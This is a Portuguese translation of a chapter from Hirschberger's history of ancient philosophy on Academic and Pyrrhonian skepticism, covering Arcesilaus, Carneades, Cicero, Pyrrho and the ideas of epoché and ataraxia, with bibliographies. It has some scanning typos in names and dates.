Ceticismo Acadêmico e  ceticismo pirrônico – História da Filosofia na Antiguidade – Hirschberger

Ceticismo Acadêmico e ceticismo pirrônico – História da Filosofia na Antiguidade – Hirschberger

História da Filosofia na Antiguidade – Hirschberger

3 — A ACADEMIA E O CETICISMO

VISÃO GERAL E CRÍTICA


Num ponto estavam epicuristas e estóicos de acordo, apesar dos seus dissentimentos — no seu método dogmático. Sempre, porém, na História da Filosofia, um rígido dogmatismo provoca a dúvida como reação. Assim, no lielenismo, ao lado da direção escolá.stica dogmática, afirma-se um ceticismo, e isto tanto na Academia quanto em Piero de elida e sua escola.

A.    A Média e Nova Academia

Os   h o m e n
s   da   Academia

Distinguimos, ao lado da antiga Academia
(v. pág. 174), ainda uma média, cujos principais representantes são Arcesilau (315 até 241 a. C.) e Carnéades (214-129 a.C); e uma nova
Academia, com Filo de Larissa, que
veio para Roma em 87. a.C. e aliciou ali Cícero
para a sua escola, e Antíoco de
Ascalão, a quem Cícero ouviu
em Atenas em 79 a.C.

a)    Média  
Academia

α) Caráter do ceticismo
acadêmico
. — Na antiga Academia, dissiparam-se no decurso do tempo as
altas intenções científicas de Platão, degenerando-se
numa credulidade primitiva. Mas a nova Academia volta a essa posição crítica,
que quer saber a razão de todos os princípios científicos, os seus fundamentos
o as suas provas lógicas. Já não se é dogmático, mas crítico e cético. O
ceticismo não nasce, contudo, de uma indagação crítica infrutífera, mas
consiste numa dúvida metódica na busca da verdade. Lança-se a sonda da crítica,
para, de novo e melhor, assegurar a verdade mal certificada onde, precipitadamente,
se descansou na afirmação.

β) Arcesilau. — Assim
volta-se Arcesilau contra a evidência
estóica, afirmando que, das condições com que os es-tóicos pretendiam assegurar
a representação cataléptica (v. pág. 270) nem uma só era inatacável e, assim,
não bastavam para garantir, realmente, a verdade. Não constituíam, portanto,
nenhum fundamento sólido á experiência, pois os erros, de que o critério da
verdade devia preservar, podiam, igualmente, contaminá-lo, como às
representações às quais servia de apoio.

γ) Carnéades. — Também Carnéades rejeitou a evidência com
muitos e particularizados fundamentos e suscitou, além disso, dúvidas sobre os
processos de prova da lógica tradicional.   Demais disso, atacou o raciocínio
com que os estóicos queriam
justificar a existência de Deus, sua providência e justiça, não para fazer
praça de ateu, mas porque a ciência não realizara ainda o que devia realizar.
No domínio ético, censurava-lhes a mesma incerteza das doutrinas tradicionais.
E o fêz de maneira muito incisiva quando decidiu mostrar, ad oculos, a
falsa e a crítica credulidade deles. Fêz parte da embaixada de filósofos que
foi a Roma, no ano de 155 a.C, e fêz ali, num dia, um discurso em louvor da
justiça, aplaudido pela sua luminosa argumentação; e, no outro dia, um discurso
contra a justiça, considerado igualmente como deslumbrante, embora, agora,
afirmasse a ausência de toda justiça no mundo. As ambições políticas de domínio
dos Estados são o oposto da justiça, como se podia muito bem ver na política
do Império Romano. Se os romanos quisessem praticar a justiça, deveriam
restituir todas as suas conquistas e voltar às suas cabanas. Isto pareceu
excessivo ao probo Catão. Pois,
se as convicções sobre as quais um Estado se assenta devem se submeter a um tal
intelectualismo, então corre perigo a segurança pública. Saiu-se então de novo Catão com o seu Ceterum censeo, que
agora soava como uma exigência: os filósofos deveriam, o mais rapidamente
possível, ser expulsos da cidade (philosophos quam celerrime esse ex
pellendos).
Eram dois mundos em conflito: o da vontade da verdade objetiva
e o da realidade prática.

δ) εποκη-
Qual o resultado da crítica e do ceticismo? Sendo tão difícil chegar a um
critério absoluto e certo de verdade, então é recomendável abster-se de julgar,
e praticar a chamada εποκη. Certo, não se tem
assim a verdade, mas consegue-se a verossimilhança. E nesta há também variedade
de graus: verossimilhanças que são apenas dignas de crédito, e outras que, além
disso, são incontestáveis; finalmente, outras que são dignas de. crédito,
incontestáveis e apoiadas em provas de todos os lados. Isto faz lembrar a
crença (belief) e prova (proof) de Hume, que se reporta, de todos os lados,  ao ceticismo acadêmico.

b)    Nova  
Academia

Em a Nova Academia, a εποκη leva a uma posição irêníca,
relativamente a todos os sistemas. Professa-se o ecletismo e se busca o bem e o
"verdadeiro" onde quer que êle se encontre.

α ) Antíoco. — Antíoco de Ascalão, p. ex., mostra que
a Academia, o Perípato e o Pórtico concordam nas suas doutrinas
fundamentais.    Representante típico deste ecletismo é:

β) Cícero (106-43 a. C). —
Considera-se acadêmico. Mas isto só é exato no concernente à sua epistemologia,
onde há largo espaço à εποκη. Nas suas doutrinas
éticas, porém, prepondera o patrimônio espiritual estóico, bem como nas suas concepções
antropológicas. Também haure idéias e teoremas  no Perípato. E mesmo parece ser
quem deu, à publicidade,
o poema didático de Lucrécio, príncipe
dos epicuristas, embora nem por isso o aprove, Cícero não é um pensador original, mas é extraordinariamente
lido e nos transmite, inesgotável,
traços e traços da Filosofia antiga. Diz êle próprio, dos seus escritos: São
apenas transcrições, as idéias surgem em mim facilmente, apenas lhes aplico as
palavras. que, espontaneamente, me brotam aos lãbios (Ad Att. XII, 52,3). E nos é, por isso mesmo, um rico manancial para a
História da Filosofia. O mesmo se dá com o seu amigo Varrão (116-27 a. C), onde Agostinho
hauriu muitos dos seus conhecimentos sobre  a Filosofia   antiga.                                       *

c)    Fontes   e   Bibliografia

Cícero -— Obras, na Bibl,
Teubeneriana e na Loeb Classical
LibbarY. A. St. Pease, M.
Tulli Cíceronis de Natura Deorun,
2 vols. (Cambridge, Mass. 1955/58; Grande
Comentário!) Cícero, Gesprä-che in Tusculum. Eingeleitet und neu ubetragen,
von K. Büchner
— Cícero. Conversações em Tusculo. Com introdução e nova tradução de K. Büchner (Zürich. 1951). Cícero, Vom
Gemeíniwesen. Lateinisch und deutsch. Eingeleitet und new übertrargen von K.
Büchner
— Cícero. Do Estado. Texto latino e alemão, com introdução e nova
tradução de K. Büchner (Zürich, 1952). Cícero. Vom rechten Handeln.
Eingeleitet und neu übertragen- von K. Büchner
— Cícero. Do Reto
Procedimento. Introdução e nova tradução de K. Büchner (Zürich, 1953). R. Haedeb, Ciceros Sonmium Scipionis (1929).
F. Solmsen, Die Theorie
der Staatsformen bei Cícero
— As teorias de Cícero sobre as Formas de
Estado — Philologus 84 (1931). M. Pohlenz, Antikes Führertum Cícero de Offíciis und das Lebensidcal des
Panaitios
— Magistratura Antiga — O "De Officiis" de Cícero e o
Ideal de Vida de Panécio (1934). O. Seee, Cícero — Wort, Staat, Welt. — Cícero — Palavra, Estado, Mundo
(1953). M. Valente, L’éthíque
stoicienne chez Cicéron
(Paris, 1956).

Nota
do Tradutor:    As obras de Cícero estão quase todas publicadas na coleção
"Belles Lettres"   (Budé)   em 35 vols.    Texto e tradução.

´

B.   Ceticismo  Pirrônico

Os homens do
ceticismo pirrônico

O ceticismo pirrônico forma um outro ramo
do pensamento crítico, embora no decurso da evolução muitos fios de outras
procedências vieram se lhe meter na trama. O fundador é Pirro db Elida (Ca. 360-a. O.). Mais
acessível nos é o seu discípulo Timon db
Fliunte (230a. C). Entre os céticos mais recentes se contam Enesideo (1. séc. p.C.) e Sexto Empírico  (1/2 g. p.C).

α)   εποκη

Pirro
professa uma dúvida algo mais radical que a da Academia. Declara-se
agora categoricamente que não poderemos chegar ao conhecimentos das coisas
como elas realmente são, mas só como aparecem. Ora, as fenômenos são subjetivos.
Resultado: de novo a εποκη. Mas a dúvida pirrônica
apresenta também um aspecto positivo: aparece como dúvida ética (Hoffmann), Tem por fim libertar o eu
das exigências do mundo ambiente, para poder ser plenamente eu e permanecer
inteiramente imperturbável.

b )   αταραξια

A εποκη se
conjuga com o ideal da αταραξια, que se
manifesta igualmente aqui como, com os epicuristas e os estóicos, a apatia.
Rastreia-se ainda nestas idéias o vacilar da alma dos homens do helenismo que,
aos golpes das comoções políticas, alimentam o idílío da imperturbabilidade,
procurando na Filosofia a salvação, que a política já não lhes pode proporcionar.

Bibliografia

E. R Beva, Stoics and Sceptics (Cambridge
1913, reimpressão 1959). H. Hartmann, Gewissheit
und Wahrheit. Der Streit zwischen Stoa und Skeptis
— Certeza e Verdade. A
Disputa entre o Pórtico e os Cépticos (1927). L. Robin, Pyrrhon et le scepticisme grec (Paris 1941).

 

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